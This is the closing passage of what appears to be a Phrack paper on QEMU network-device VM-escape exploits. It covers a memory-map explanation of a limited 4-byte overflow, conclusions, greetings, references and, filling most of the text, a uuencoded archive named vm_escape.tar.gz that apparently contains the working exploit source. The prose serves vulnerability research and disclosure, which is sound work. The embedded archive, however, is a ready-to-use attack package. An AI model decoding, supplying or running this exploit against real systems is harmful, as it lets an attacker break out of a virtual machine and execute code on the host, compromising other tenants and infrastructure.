0 55e5e6156000-55e5e7931000 rw-p 00000000 00:00 0 [heap] 7fb80b4f5000-7fb80c000000 rw-p 00000000 00:00 0 7fb80c000000-7fb88c000000 rw-p 00000000 00:00 0 [2 GB of RAM] 7fb88c000000-7fb88c915000 rw-p 00000000 00:00 0 ... 7fb89b6a0000-7fb89b6cb000 r-xp 00000000 fe:01 794385 [first shared lib] 7fb89b6cb000-7fb89b8cb000 ---p 0002b000 fe:01 794385 ... 7fb89b8cb000-7fb89b8cc000 r--p 0002b000 fe:01 794385 ... 7fb89b8cc000-7fb89b8cd000 rw-p 0002c000 fe:01 794385 ... ... 7ffd8f8f8000-7ffd8f91a000 rw-p 00000000 00:00 0 [stack] 7ffd8f970000-7ffd8f972000 r--p 00000000 00:00 0 [vvar] 7ffd8f972000-7ffd8f974000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] As a consequence, our 4-byte overflow is not sufficient to dereference the irq pointer (originally located in the heap somewhere at 0x55xxxxxxxxxx) so that it points to our fake IRQState structure (injected somewhere at 0x7fxxxxxxxxxx). --[ 6 - Conclusions In this paper, we have presented two exploits on QEMU's network device emulators. The combination of these exploits make it possible to break out from a VM and execute code on the host. During this work, we have probably crashed our testing VM more that one thousand times. It was tedious to debug unsuccessful exploit attempts, especially, with a complex shellcode that spawns several threads an processes. So, we hope, that we have provided sufficient technical details and generic techniques that could be reused for further exploitation on QEMU. --[ 7 - Greets We would like to thank Pierre-Sylvain Desse for his insightful comments. Greets to coldshell, and Kevin Schouteeten for helping us to test on various environments. Thanks also to Nelson Elhage for his seminal work on VM-escape. And a big thank to the reviewers of the Phrack Staff for challenging us to improve the paper and the code. --[ 8 - References [1] http://venom.crowdstrike.com [2] media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf [3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c [4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf [5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt [6] https://blog.affien.com/archives/2005/07/15/reversing-crc/ --[ 9 - Source Code begin 644 vm_escape.tar.gz M'XL(`"[OTU@``^Q:Z7,:29;W5_%7Y*AC.L"-IC8V=^B"*S'?^WI$OL3]-1W:EY<(> M/_O3'@I/FB3^DZ4)W?V\>YZQF`J>BC3FXAEE4$/)N6 M_".:I#[^,=!`!C"(?PS?GA'Z MIUBS]_P_C_]7XYF>K(TEKU:E&<^/KE]7=I>6X]G5_IH9S\I':Y.Q>KCF]*R< M/%R2JY5=[K&"K/)V85=^M?*5L6X\L^2B\:88#<[:IT-"6+2WW/[W@A!29>35 MJQW"VI;JM#NZZ!>#HCL$JO5DX@E%O$=PVB7^J=Y3)$F-O""L5JF`2<29EY7* M&M[B:%22A;RRH[ES*UM6[Q>E,*%[.TY7HYPR7RM1>Z9QQ*?EGY+<@4 M'-BO/LE1.1]=N5GUTWQLR/,[>0?W)(NIK1,@>%DY6(W_P\)*L`&^AQ?R'>CR MY(MR.2IKJ/[U:Y+7P(C_3(%LLK+VYZHS]0UGG0R*XNUH4`S!FH.EE08WOT9- MF5\;.U+]2Q6^@X@=)&NURL'!QLL7#.C`+-"^0W?:18E(@38_Y>Q"_JZS0>`. M*D@",D/65/W^7[X#Y;6M'ES<0_H?#Z)5O9-?VXC[+<1W*L>SZKT!&>A_#AB^ MW`4?()W:*:3!@3-@V7QA9]7#X\5RKH]7=N*.O9JI7!S626_4;_6ZG8]W^`'] M*T)K!*0?+.QR.5]6#SW[H2@"T'H`:$3^5D,M?5*!%^'GDU[_X&;.K!^]]N5_]Z_LG/ M]OS_-'T1WO[I4\`?G_]I$D7L;OY+$K_.>)S2?YW__Q//\?-*<[ZX78ZOKDM2 MU34242;JY-Q>FS$9>I?KY$*N)^14+L<6NE2E`>9+_)ROR\IT M;L8.>I,74"<2NAXTS^FX+*TAT'8_C0V\E-?0K*:^A M14Y`DA>PJVMF]@P!=7HBQU.[!$"BQP:`HAT$[@P`U\P:C'K"ALK&!O+?L8$$ MORIFKM=3.ROE76".`?,Y["SAV"GMSC6!%0@QT#@&%*,.-A`'"JKN2M_\9'>)`Y9+:SVF0-,8Y]/2Y\SLY`]JU6P M?WC6'I!![W3XOM$O"+Q?]'OOVJVB14X^DN%909J]BX_]]INS(3GK=5I%?T`: MW1:L=H?]]LGEL`<+AXT!K59[T.PTVN=%ZPBT@T92 MO/-C\."LT>D\Z:6W_8&/)T6ETVZ<=(J@";QLM?M%<^C=V;XU`3FPKP/SY$71 M;/N7XD,!SC3Z'V$>ZE=`YJ#XMTL@@DW2:IS#A#8@U<]``C%I7O:+Z-?#\/<`"?C>`M87H]KKH*B#4ZW_T0CT&"'Z=O#\K M8!U"W*T@4@T/P0`0:PYWR4`?`#C<\9%TBS>=]INBVRS\;L]+>=\>%#6(57O@ M"=I![?L&Z+ST+F.,P*KPNI.Q=8PD:9^21NM=VYL=B"L0^T%[DR>P-+ALGFW@ M/JH\/Z[L7M)N5\>/+GBP-IW*6;A];2]JRX4\AJM2^?G[&XRWG[WW[=[QMJN3 M,?3VO;5%>>TO)8]NEVH^GWS1-?3Q#?;QS?2I6^UZ!NW./(3A\.]VNCZZ/GSZ M7NJ?W[F;DB^^GP;*S]Q1?^>>>D]Z]G'4;YS?D]*;;//#RM9PO!+)R?AJ!IUT M-))E:,5V-*I6-\O5>P]JM:WP<(V:N^H*[H[3&O"J]7A2CF>CO9U[#A]I:/FC M47@9C;96G+>[55DGJD:JOY(?*N3))[!5)>B2_GXK:R\_1PL"1\K3JC^@!6FO M/=G?_)]OX>M+\EMM:QNTR'[1&IU#LZ;WP`>*,'T#;/ M+KMOD0&V!V_AW@V!VMGN=7H@[ZR`!GSX`XWC[V/VDK+IZAJ&*?Q.Z10L.]PU M!8B;O591]0>HQURNIA"IK_S7PQ$_H&CA-@;.-9G1%_#8(L']5=?$<_V M_8\OG]`RNF@TWU87\G8REZ9.@LY??X!KZ.9'!S35CTPCO^!Q#G?XVJYLR,G= M96_>`5P@_3WVZSOAM1>O_5[04=^3BQ[]]J1]G6&P\6H.J;:8P!^WGL&H"M]? MO/:O8!.HJV[2(6P^KU5+`()\0W`![6RT6GTP=%A\&.)[;2K8;U&;^A.D<+=^NQBV"?A MDOV$L`#V3H#ZPT[&XOQA2B:,;V4VN\7PP38AG.:BLD=QX8\EWQOXIW6$\C@S'R"C.Z3[1@:*J7JZ5A\][/;#O7P MRW0/OTPWD)T.R&.R*-\GZSQ)ECTB>P/-^Q%9ND_6OF@.'DECCZ1=MO;HD.R1 MM&'S*3*Q3_8P';Z$;!.,Q^PA+':VGMXGR])>P3EI88+_M7(PO&D8LZ1!S7?8 M&.OD^#D9WL#0OM++\0)G?3A@5G.XH:R7)([4N*P=$1A,#IK7XT5S:K;<<5KW M,IOSF1M?W:]R"JO]1ZL<:2_@VD.V$EHYZB^AK4#S&R_\U4)?6_WSODG.WQ+F MRY^#(5LS@I@BN-'\AC3G?C@RY,YM0.D;,O67Q_EL%\%NQOPCU;XB?/?88S]J!,?LBQM]>[@4EX'`"PY2/2O-BLE[= M0[=#C+0;U.^)IZ9O_0_)P7/FP?9K-\5,;=9H%M:&NVL<@W*R=L5T4=Z&-?9` M6V<4]"W`FEV%WKK^S;M.HWLGB_*`MYU)-;&`M;9PX2-(8N!Z?G5UA]B&N7G] M\V`]W3!'3S)CU%=`!%.*/WGV)`1/-A)H5-]L#/'R9N2I M[M4UM+:+LE@N=U(V\H$+&_WUK-QNL.W&R1*`T')5;L,:-L[7,-!M-_AVX_;B M^G9U#TATO]&83#8[=Y$_>+^4B]WN]!W.H;!Q?M,Z;T2)V-W@%*M:=>Q,\`'.\O;";W3ZUW<+V]/T=:'\^$I M=%9>_WC]FD#N_43@O93J M>US[";:N:_X?A>B-S!S96TVV0QG]S. MYM.QG%3(\X.;G^(()JF;GR(1/N+P$189+`8JMEE@X8/B1X9_4_R;X%\>N`,1 M_&457P,K_Q.5]C]O02K>_S/;QA'(H!_!1P`+`X5/'?Q)4YK&,/3X=VNI%2S2 M_CW/:9XP)>O(D`JC..:0(1>Q3.($&:S@>2+CP&"-RK(X0H;<:)5) MC@S4)#9G%AE2$YD\RP)#K@37D4(&JUBJE4&&5&61H2DR4.68R1DR,*-21@5* M%5)!'W.HS<4J3QG/_'O&E>7,V,`@C30\1:G"&&.Y16V.&ZZ2A"%#;.(LT6E@ MB(7.LP21$5PHF6E$S!D1N3R5R"!%HG.K`P.G+-$4&;>6*@N494*D2H0)#HA*9.;251RK*,X'1-4HIG1OT36JE78YS`C!$!D@LVLH3 M,%2G&%VCC:!&HV]2&1:;)$>&2)@\IA*E)H`UI3%JTYE)$^A&_ETY0P5C(C`P MQ1T@C@Q"Q9I'J$T[)?,D1\14I@SXX0)#1B.5Y8A,XFB29101TX("P`JCKAA5 M-H]X8'#"I3I#9)),9%PS1$PS,,)(C+H20D0F-LBPR6ZTE6X2"Q,N,U%$%?IF MG4D8C4(]I$RQ+,G05BJ44`E#9'*GG.42?;.9R@R/0SVD&4UU+M%6ZBAU>8S1 MS07-99:A;Y91FV:@'H:G($XM2F:),)BEJRR*:.8`,&2`&FB>A'D2B MJ,DU(L,BE=H\0<0RI:S*+$;=:045G89Z`(`-,P:188F1D>&(6*9-G&J'47<* MDAR%<>&(3*151RR`1%3J3*)CC'JFBHIM`SUL&G>:&LNE5/0J#`1 M-PT+FS17S$1YJ`G"YR@WT)F2PREIP`AE2B(3E M&'5(/9I9$^IA`P;:*IEA>9PB,G%F,AUI](T[XUR4A'HP3"F1.K15"J4AMQ"9 MV*F$PJ&'#)F*8L%#/1@XC"+HMC-&-!8VY=.@;9Y1#+$(]@/W4.HVV MR@S<M!*,!5G*%5I`0G`4!O,(\Y$$A%+(!X6C`H, MFNHTS5&J4E3QE*(VZ,01$PH12Q(*/%&H!YTH:!`*D5'@#%41(A8IQ1.98]03 MK6)HJ*$>-!2T18GZ%N<0Y>*=:@'"6A'0J"M,()0!H,!,N0BYRE' MWV(+!9V:4`_2&B8D1UL-S$<)W/B0`68V"C,#,J0FBY4+]2!S\,PF:*NQ2L$L MB-'EJ8JT2]$WZ'2)^Z_VOK6YC1M9]'Z5?L7$ZR@4+=GS?JPBG_*-G7-2-XE] M96?/5MD*:YX6;8K4.$X]IE MO$"C`3BNS:^,JSA]FV_XKCY=K=?75WB.NX!E+%^3_EHY3DG[-EFS@'U9G:8\ MEC"\?O$*8//^@M)]EG"]90@%+Z]AG>UZ]7;RXXB:M%+>7FNIQ9ND2[4?/E MO-D4I1_BX[=REHH.%JKFK-H8-@8U3LGB5U/KF[/\^A^Q< MTHKZ/%NN-A?`Z2]=%\>`;X"0%!?Q,EL@&RMI\?JU)!B3AE+LQIC@U?-LE;S) MTPT:J0I@NEFK?N$=4OU+ZK?GJV6=^)J,A<6/4OT!U%\MWN5JPB*/RYQ;P3=Y M5_.K?+:VBTS<[,V2]7M,.SQ1"\`V:-TM(#ORGT]?(*7$U1Q:P1ZJ4@X33JKL M=+$J.3IL)S9[0 MP!TJ/:&$5ADC+#GMST5I$FU%^$CHA>H>RMS35=]5L04W,7,R7;VNR=O/3 MB_DBZQ2XS"]7ZP^D0EXMN6-X>=R;BX*\/Q<-\^+Y,A\H0G9U\ZH!VZ9'J9D> M90_YR[[Q*OMF3=F>:*+ZLH>>VUHK)*%L<;/W(K-+)(&ERM<.5*O0T&@/(VHW MMD&`[1TDR=X9$I'>P[4R%P9G,U]F^4UO"=VP*M#=H969VN&5F;5@J"C$&4-4 M+.9+Z,W_])!165_+BWB=9[0[G\%.&^GR;K6`57^1&]AF`T0S"G?Z7GURO.UL M[+MHC>=%J)D(LV71282:7G8-CM.?F:_7CJU4A>NU^IF^7FUXKV+H/K2B]%0VQ6^ZOF7Q)M96R74U:08?,A1ZZ;>V5N(C M=JD=ZE7?3I2AE=W(5LN\N0=F"R6E5=4^#WL9O\UG\_4_7MKGG:JH,\IW70>, MVM;II67:[KF^4+4";RV$2[DLA+UHV/>UNB3_$O/?5UIZGQH%Z7<>)//E@_+B M3D.67%U\$$^*3#J"[AM3F-5O\R6;8K^;KS?72]CVW4\Q)^;71)MUO"P7;&I^ M#22?;^9Y2;=[XV.Z?\O'=/*@P55=O.NT2?:B;C1E&??D!",TU8D+I'N^W[%0 M?1]_*&><"<0CP\;I7)@7\B\X_L"`\-TQIY1X/2Z&>DE-$3_@3+"F9WVKM3'! M'S3%*=GXTECRMWOW<)"F$\0+;<6D0R@WG0!:^5MY'(?%JL>%Z>753*4;MTK0 M13:2?R8JC528J3`C-*:',<[XGKR$1X&YDWF;7[9]#KQZL8*ZXN5KX_4U M-!%+G<%$??#?>#+"]Q*7P*'O".$3VIBUC255_/E,:Z+1IRF MP.S*I3UUN[R$(9IO)D/+`7<7OAP_Q&43*,H_<+ED22-R?O?-5[.S)]\^^ON3QPV27,Z0,?&5(QS1C00A M`/0(!M#`C-*(2^/R.KT@&58:5ZNRG*.9CGA9LQ322.WLCK.T,I_E)DR4U6Y* MEJQ#=#KJ&/?RI(;5'0`%YD4NYK7XO6:*FD=&_`[H2>9&++WW,MI.[#V8TBC2 M[H;,CO;>7^"Z.*GHBU9),^@\;J>WD)GF/\DX94`?*@-Z:/QD/'A`%D\&K`>8 M`0![:N,T9M?'1HT.W\O^;.0@>:GY#5!EXK1!J%%*62""<7!@?*9,+7Z=>^O& M[/V\S_]4.+1KA['`PCGJ!:L\02$AJ&CL&!V.\ST%=1-FCQ83X]YIG8J)^-2I MG:90OIG5'9E370=1R#7YT:Q@ZRY^)@C8Q*8,=(VER;>0?DO.A>$64[)5_<>/ M8G[##U7RL@I(97C2^B#'-[C]_6KYQ4;N+:Z7L#?!XI!Q`6POGXS5=>(&Z1?Q M/+7BES*]X/KYLI_I9=/_=7Q/+/A0F1R_C._%R6D+W],D;(/T\/VGLWV%>)CM MQ1CT%'^0OZ6 M784:<$XK+"URB*NW:*+WZP.;/,M.Y1?8S[>S#B4@-(18J_=$OJ?P&S9--!K% M&L^A!?&<7-P%VN.'Q.35+^)JK.1(/BN![X5AN<* MPL*4(L\1@ECXZ`0HI;P:JK6_^]OT]/]J\C4[W:1DU><^RE4^-IJDJ"2'2F$N M5XU9B[R]@R;(C:R_G>2D3!>7M<"OM`W?K(SU-:PK!1XN/E_/KPQZ![U:H!2F MP:@T`Q.-7F&J_*#!DAK_C;&9H?38S&A7L9F19H?4-/,EM*1\:9\?H2ZH^@X% MQ/>3[I@C*MY;3AD1KSOQ^C4"H.I`;=;Q0VKT$1'"0)4!C4FC!&I8F.I,-#%I M&V6`[/?%)4=]MH19UBB$I\6C_3VM]@D_XOGCD?'=H\=_FSU^^O73L_]#PJ13 M%79UPM0A+RO:?$&R_@*"CE3%G*93MTODS$5,VR:I:0;C1NY3X*#J3X'#=E)) M`#YH0W-SAK*AUH%L1DZWI&+B6><2)_O-$7/0/)>X*%E.1TQF'&0IT:ZCTN+= M)YTGH=U2D!6@5-.6DC35-7,7B8J7>Y-#WFW2-.Z4H+O)2=5IDA,]A6H:#)6J M2:(OA;>5LCX3.-H<*"9KM*"<-5!.UHGE;'TYNL>O62++TEU6)RPF) M\%WK!,+\.G4"(@UI4:(#,UDTX.KB5ZU@O/B!',_7<8IJ)5[_ M)QV=_;3ZJNKKV"9FR\JG'+18;&U;XO;WL-="97(@#`DPB8^/D":L!V#S$J^7 M-Y,[+S\[-_+EF]4'XP,^9J2^D4NNXNIZ4TZ4E]YXS,LD%6F1V'%-V'$)N)7$ M[PKYKEQOB_+G+QY_\_WLZV^^??+]TX8TAXRG/[RH7?K.;+2=T0%97( MJJK5Y%5U2-4EJSI0'PN'JK=Y5BECEQD>J]^BZ@(UML4ZS[_(C*=T^_E,W'8* M'8-063(/T<4P61P0OEEZ<;U\*V=.PU:1-1&5XCP11E@:W41#G`B]!_PY$JKM M*595(<(?L\OXIGE/,2TWJZLCZ7NOKA-+"W6P5-J?2(6]T-:CJEXV#G[>NWEK`4EC'+2]3%3*#K7L*=%::CB0A"\%*>_=.Z\Z8U7ZC#W$?>]>A4O2 M_6$]6`*7(@`WJQ7IRUG,Y^6&/'!A*TIV;UB=Q@0Z57WR\WXG4UR9M.=GRX9A MHIM2`L>6F2DG:,>N#M`5J^ME]NGPZ[PX5*SSIJ_Q3G!*-X-38:A!WX1A'9W. MDIS?V2HS^\AX4SN1>/3BQ>SYDT=G7_W7)-YLV!$'?,&S]4^-;&+BWZ(PRZ(F.;],+BEZX*U;L`.3U[Q-AM[\MDIBSKJ MVMYEO$DO\O(E_3V'];C`20_E3C2Y-%YXIJ@I4!>#F0S??R8G(CI10?.M%A3L M!13@6'.:S8MB5OUF$4`C3AP@1ICJ/U$2H+FL<)`-I5O[/=UD$7]KK4HC]Y#8 M=4[0`K>\GH8495*\SEG8*$EE-TG,OFXR347>W!&)WM".SG@#)*(NP%=)H#V% M)/=.JQZ^D<-P7"<=6R(1P:I)<-H`PI%M@4CJR1'$:NI**V4DYSTDUA%-PV2@ M1#V7`!5L9N@2'___#V)&XZ_LDZ62<&4'A._]2P8I-2""DBTPF7HJ[6@17'[M MHB"J=U!PZJFTO&44_%5%,6W.>DH34D30:8]4*XJ"*I&WT:I9&!GR77R`G<1, M^'Z]S?K?$'2Z5?O77*"KZ^W?8WG&(9J(919?_N"'#_XW02A70$%8*G9,.;IE MM+'$F;7^&GUF93/89,N>H6>BZBY(7@X1B?O<'C&$M!$^V5Z0K(VWEB.#[*VE MV"Y[:S$RS]Y:BJVTMQ83=N1;2I%)]]929+J]M11;<&]O6-,*6^[8Q2Q4;2KD M>5?R5QJO,_$PA'U/PYE@,:G=AQPUG3+=,Z0W''%`7$Q4OQR=TF?-TN\GM;>3 MC[5_DPX8^;\1,,E$>G_Y*%V^=,NS"YG#>GJKCYJDY`F!F;HZ M$52&8"CY04SA3207-ZM+``U..A?CE^.'V7O3^'BJ>)#ZJ+B)^E@[>?K8<.3T ML;5[4;PW?52=+S6J@:5*(W>PY60X=FH8E7';H6+[)+I*W9%!<]EM`:X&I MMW(JD%Z\.V'()5-5R+PQ^\K`-_/&W3**Z\XH*FO$X+YY8/!QY[5,=,,^O)8H MBXA<%@CMJ7&`?\7N24P[^RM3=Z.S7'Y6B;LP6MO$`HXXT2+]^#4^*?><9N^/&#\ MX?E_G;U`)XG=$JUY3IN57S;55;];@_-=];.EF>Z\09F5^5)>+LMQ$W>GK/ZH M]1AL?E%=0FKE`,]2&?887";^1MW:A7X_!SG83U#_FF>[*M:G)!WB14`ZC<.-;A=17:\ MD0<\VA!.A'^A-^=H[&N[N$N?3GACZ0`#S0\/\4B$Y:>3VEX9*N6M(.;_>&I4 M6+B@R",&Q.PW?$LB]2CWS@T:*92E/#[W[]^_(T(_+"GV@Q@U1N0>&6[+XEF\ M,E5V%+KGIU/^.SC6W5>@4_%R]+9@XG$I318A"T7]70&L-I,%,'\_?D@NT4[9 M7=='*8]$[%P5E=+*KW7 M3=(EGA&/.Z]GH3F4=W#*YQWY^R/]-DUS^_ZK;A+MOD1A9<'K5%IO>8;$?GM[ MQ"^.4?D%#3QAJ/'Z,2.?`3J.DQC:SL$ MRG-_;$*Q@$,\DGQ=2G^;?23_*&DN&@][JW@A M/1D0`)U9JKDC5^]'S^1B"9DW83O[\;-JE6S&]='O6^6OFQD_3M+[95"*\8C+ MA.KY//MLF"KITE_#7L.-';9)P;9$-]6N2^8I&G&M_E#74S6=GTSL=2Y6F\&M.5'M]'![Z9[ MU^G:8:M1M4THC*O?9>NWHBI6TFH]\6\9_*K%CE!1RH>M!LOTG=WH/0DMKDUV M'3JZ#9P"C6F34U7,U8R__;$0J+*Z6DP<-G#5G[%;=#@RV@)H:"/6V^B6.N:@ M)<0:4DTY8VJU50I:=8GL8#AJG:OZ6RY&HEF<=X+E(L^O)C9]5R]/Q5TXWS8V MKU"!9Z;&BXO\`\C=ZT5&7G'R\FJUI/@RR$)4HN>B?(\6H%H\Z&_+AT9IR;ZE MS"%+1?'A.TPIGJIG@J)V9AS@FYO)L05[7+QS+6(XJ%!'0.R@OU:RS%8N79M' M"[XO^!RV-"!YEYLY++/Z?F.$(#8L`#Z6]=,`H*#3T*%]*\M=J>YAMW9=?@Y4 M.7L+L%HB5V2CINY`M'?`MID0Z8;LP!TIB!!5C?R^N%JB.Q@\D%(@@5-#:35? M-AUWH-3@`B?"+*Z%O-P!>=E!7NZ&7+FN&JQ`ECO60N]4476IM:4B+M>N2*8V M*E(F\7U"!DO,%0RB$J`0@RBP)IX.'NKN`E\=B8@/57HGXD.S%EFNMZ)&!0C< MV<`HM3;RMM2LENVMO5,9VQQ5#[/[[O6&)57%.P*1CGM>S]_A@GQ]=5]A))S@ M?_NN$T*RXJ*Z89.)_$Y*E4-\5XQ_CJ6Y=I,8*E)AZ=1'$MEF(D1[YUB_><:' MR`'6I#$<[K[8LQ8G1]3XT/>058-(= MSGMJ_"'5J8%*5[*G&ZH:Z=JNFITC_8*J"4%OM\5DK%ZX:PL)@UI5W5+15WJ< MT.A>I&.*PVFU0\I637F"NYDV)C@LW!?>R*3D4"6+VA,5A)R585>Z%!I>N'L: M/50/ZF6>G3U],3M[\N@QZ_Y>S/[[[)L73^2/)W]_\E7=YTIZ:_MKJ?UMR'%M M&ZRZKYKI`&),]8OPY9?#G:_+#M5%_97G!^7RK_>$H=6JM4[I+0/'UKWBIZ#> M;$'=55P>-)0+1T9'D6#5V#5PFR:<40;31=A$JB\.-=J="[R[Z'03)J'EB^F?KBZOKC<8\>0?UW/R^K!.F0_H M=D359I[LJ[8OL&$[&/:NB!<.Y[B?PR`315JRI<^]>_68=6Z;*%0U%;W8K):+ MB3(U[:JBS?-S/.GK^H<`!P^;[]O!:[1 M9.S-48"JAO1H1T7/G!Z$ZGFZJ^;>RG0JB';ZZV1'8\NUOEXN<3M9S-?HC62S MP?@WT+77^9UN`P?7K5LO0T;_.JYNX'[EQ6^@SOH]9P^1JF9U=JBRSEOM5NI> M5DR#QG.5GGZ'>>7N,*\(+\Y5?O*#F.4SG^&]IG([-D:8__T_=?SW]%U^;)N6 M=^Q9OO>KQH`?CO_N.('CR/CO?N!8&/_=]MPQ_OOO\1GCOX_QW\?X[V/\]S'^ M^QC_?8S_/L9__^3X[[\X4OJ?)P#W&%][C*\]QM<>XVN/\;7'^-K_CO&UQ_!H M8WBTWR(\VO_G0;7&B$IC1*4QHM(84>G?+*+2&"YF#!?S>X>+^5=%63&RZ\MJ M?XD2+">'R\;-#9IJ""L4JA-21-?(-D;QC]=X2WW2?:N,6:J?*GK/_[EA^<(9 M+2P=RTTQN?-J:=Y\;EK^S5^-._10^-Z"O_D7@I' M_W6C_[K1?YUF)S7ZKQO]UXW^ZWZI_[H_EV>>?H\VVYS9C"YH1A*,+G&$ M2YQ;OZ2MWW^N\W?YNLR/TW7ZJ[[^W/;^TS)=WY?O/P,KL/']9^#8X_O/W^.S M[?6,>&13F[>??84NLV'/?W&X9^!7G-OX!Z9U>&C\*%UA4]J/>/=W>"ATEN<< M(/)UOLS7,9ID7I?(47B!_.B'%T\??_.]\_>\R-!?">\9]Q1:4#X:UHW3N MB.WYE3&H>%A#9HU!8`:.&9%)9IZ;N6_9J*FYB2(S\JPD9J/+P,]2UXH(P/3C MP@W)W#*/?"?V'#(#C7+?C;S888`\2\+0(5O-(,K2)(S)K#0W,R^/+#*NC(+, MSJ(P9(`H\=W4ILU6D"=6D"9D>YD'26AG9D``9E)86<1VH%:6!!8P&^W.XL2T MS8)J*YPD"BR73$9#-\E=*V.K3RO.XLP-"*N?95GNYE1;X69NXGED;QHZF1-Z M:<``CI]&(5N]^JZ?Q"&;HQ:9;Q=10$:D8>Q[:92G#.":EI>Z1!D?!(&?9D2Q M(C8+)_/)-#;,S-#,"H\`G,3/;3.EMKJI'UFF1Y3)/-]TK9SZ%MM^@.*$`5+3 MR=V,VNHF)K3<)*PH+:Z=F)'H4^CFR5)DD89 M]2U.D[2(7+;0=>P,BN0.F_="0].`1C=+,]_,4NI;G&26DWD1`=A^%CEF3%@] MH+5I.E1;&F:!9X5$L:3(3-^R?`:P$K<`BK/=<>*DKDVUI4421UY$%$O")(-^ M%`P0FG821FRN6YA>&+*A<.J;0."$1CVQS"2/;#94M@N_"-*0*..%?NBF%EL3 M6]"(+*913WS?MS,G(P`QN]G,5TPLFG!A9MMFDK)]<>99ILW\$%B)%7IAQ-;, MB9]X%E$F*I(B=V/J6QXF8>8ZS`]!:`9I%%-;S<(TBX@-KR/?C.(P9`MFR\RC MT&)^"`H_-F&4V"[:AY;:-+J1!5,QC:AON>\[7BKLHD4K"*N5^JEO^50;3&#/ M@=E!$]'V;=-TF1_\U/0C+R>L5F):L1=0;:%MA@60C`!@#%+78W[PO<3,HM1G MP_`DR",VG@Z3)$_"G"VLTP0X.F!^``)G5I8192POB^W,)8J%:>8$:4&C7B0P MAU.?^<'-$MNW/&JK$R-3IFR&[22I:0;4-V#6Q#%SY@185*1MZ^T$8NFR8'OLF#)VP6'=- MU\X":JOCF`[,P( M1B2*B&(P.F84VC3J:9`%<9@(P_TH<9S,(LK8>>+";""*)4&2>:F3L*5]$OMI MS/P@A#>U-8J3(@%!11-1""P2TFYB97;$_)#'F0>;'6IKE&5V$,1$&5.,*`$X M&3!@R/R0.R`@$WY>$+F^ZR0A/SO(_,R/'>I;$/NQ%\?,#[EKYFEA4EM!WD1% M$;%M?FR:<6Y3WP)8)R)8.PA`,!EA#0,SC(&#:"+FI@5\0!3S(]-/;?$JH`A\ MVPL\PAJ:ON?#$D0`D9\ZL*,C@-Q/3#]G?BCRS+62@"@31IECPQ#S8X(L#J#E M!!!DF1NGS`]%E$09R"8"R),\ATX00``CD;L.*QH2,\PSY@=!#&IK;&56Y`1$ M&2?,PM1.J6]ND16%[3$_9%:2^$%!;8W])(6Y191QBL0S8=$C@#"Q'=]E?LA@ M,;)!UA)`8<8@FVET'=]TW+B@OKFPM86Q8'Z`]IMYD5);XQ"Z5W@TNH[EYV'. MCS!@(QPE><#\D":^E3@A84U2'R:`1;7!?J3([)@HYL%XY-`H!DC--`@BPIHD M9N(&)M4&DMBV_(0HYGDFP-C,#ZF7@(#@YQP)=,9,;**8G22N%T?\J"5-'!"H MS`\I,'11Q$29Q,M,$$5$,1N6DPC$-@$D61[G%O.#V)M06_/4=PK;)LH$GA_' M3D1],\5"R`"I"5,KIK;FB8FSG2@3V+"3"D)^-B,D!0-X2>'&(;4UA]4NB"T: MW2`!)DEBZILI2,D`=F:'>41MS;W,@[E'HQND69H7"?7-3+(D*VSF![&&$%;8 M1;FY[5)M?IAEB5,0Q:PBBT/'9WX(K22W8`M#`$!W&^0_`12)&00Y4]."?*%(4)"UA`%/-]TPI9[XME3DL!>D$;7#1([+0+J&T@ZKRARY@T>`1=@ZMBU1U6IPTWUOBL`OJ M(K<4.?XCPJJCTB14/8EXFJE3E(S8R:I)VH&CDDH,G,%:@,]!0ET=-3U2GAJO MEG?(->1A$[&<7#0=40+$&:[K[1KBJZO%!PZ3Q4:/5(F"^K5.N4+H17F=IGE9%M>+Q8?*]OU?K;7Y]3ZU_H^]G?P6=0SK M_TS8DY#^#_96I`'\7Z8%)PQGU/_]'A^IUZN4\LKE4JWO@D_LP1&X4@,V;Q-T MQ>W"4HISW.)&!+>_I>UP`J^*4S3C5OE68VP% M.P7['<3N.D5=G,(;#V)WYHO6('6&*<_J MXA@G>0MV.%A7Q2E@\G!78P5[^:'QP MM';<0'&)I']FK>^)$X:%VC3M0^P>H@%LX/IZV$T'L@,;A:D>MO5*6@>;!78_ M;-@$;%/?J3=S0PWSE[I)V1HAQ]7,C%+'"6TVT+%NJ1,9;7FAS(F>5_H] M0BKQVA-"_XB_/1MB3Z'.+@_V.^151/'V!_B:Z1@6??`[L4(2I;]:_0.^`?J7 MAR+63*^N0X`>^,AT-")$[S&@RU5Y;A=./[A&ZK:G.+1^J/:VP&^!^[:6>"V? M!+W@H3<`KEDB6^!)I)EZ?9X--#,G[8`/.3WH3)S8^S.?!^OS'\7Z.9^^2N>!)%2@>?UV7_@[5#K_.>Y4'P\__T.G[]\]B"9+Q\D<7FQOX\6=?=N MZ,]QOK\_+XR7QO'_&'?N6G>,\_V]S46^1+.H]&(%::;QY56\N3C>K(YQ[WW, MKJT?WA$FUOO%?'^?TT[O6OO[Q?4R)3\?V;R,RY)4ACFE8+9`^ICR\LMD@3J? MNZ(`!DQW7GUYEPN^>GBG78/5JB'[L(POY^E, MU%1UI*XHC0'L:K&IT/_%N#M1&V:(VJ``NN/^HGSPHSE]\."+0UWE=:&_WH4R MS=Z2%K#_^ZM:OHWRTFQUTW\?IU:1Q_\]//PDV%<0==8=RU;NZ` M=/Z)GIQ`CV&B*(/8HC)3!#8T"^-X:5CMRNV?OS@4.'B^$@T/]['U=1I99*(/ M3YJ\0ZH4(+DRUPQ!!.Z28?F'=UHX=/H5J+8[VK6]YB`ZC?ZE!QV7W(*MJY[I MPX8E!Y'IE#=Z9%C2=P>1Z50[>F14E14G44'ID6'(0E4Y%I4=%)8?[J-%?]?21 M2@[37J/=ZJ%]H^0@4IT.#"1/1RXW3:UU&#O-W:8MTU;3A1JFR3:UVO9*R+7K MSG7HU&_;Z]CL+M=91_ M2'KI=(^[5<10?]3)UM9K[E830PWO"+9I0;4U]4'M6I5>2[2MJB;4\*YIFY)5 M6Y<>ZI85M32R.U:$R;>KIZ4BW+&>"NJ6O6KI>W>L34+=;MG3ZHF'9WQY&XFD M52=OQ[^[5-6JG;=7L/MZJE5/;Z]@^ZY@6(\]Q*`=D)W&?"?M]PZ3K0/9K/U$ MW\UAI?50;_60MZKT]N)6"_D'[.A.*OWAV=J`U-?6RQP#]P#;*E4`=V/$@4N# 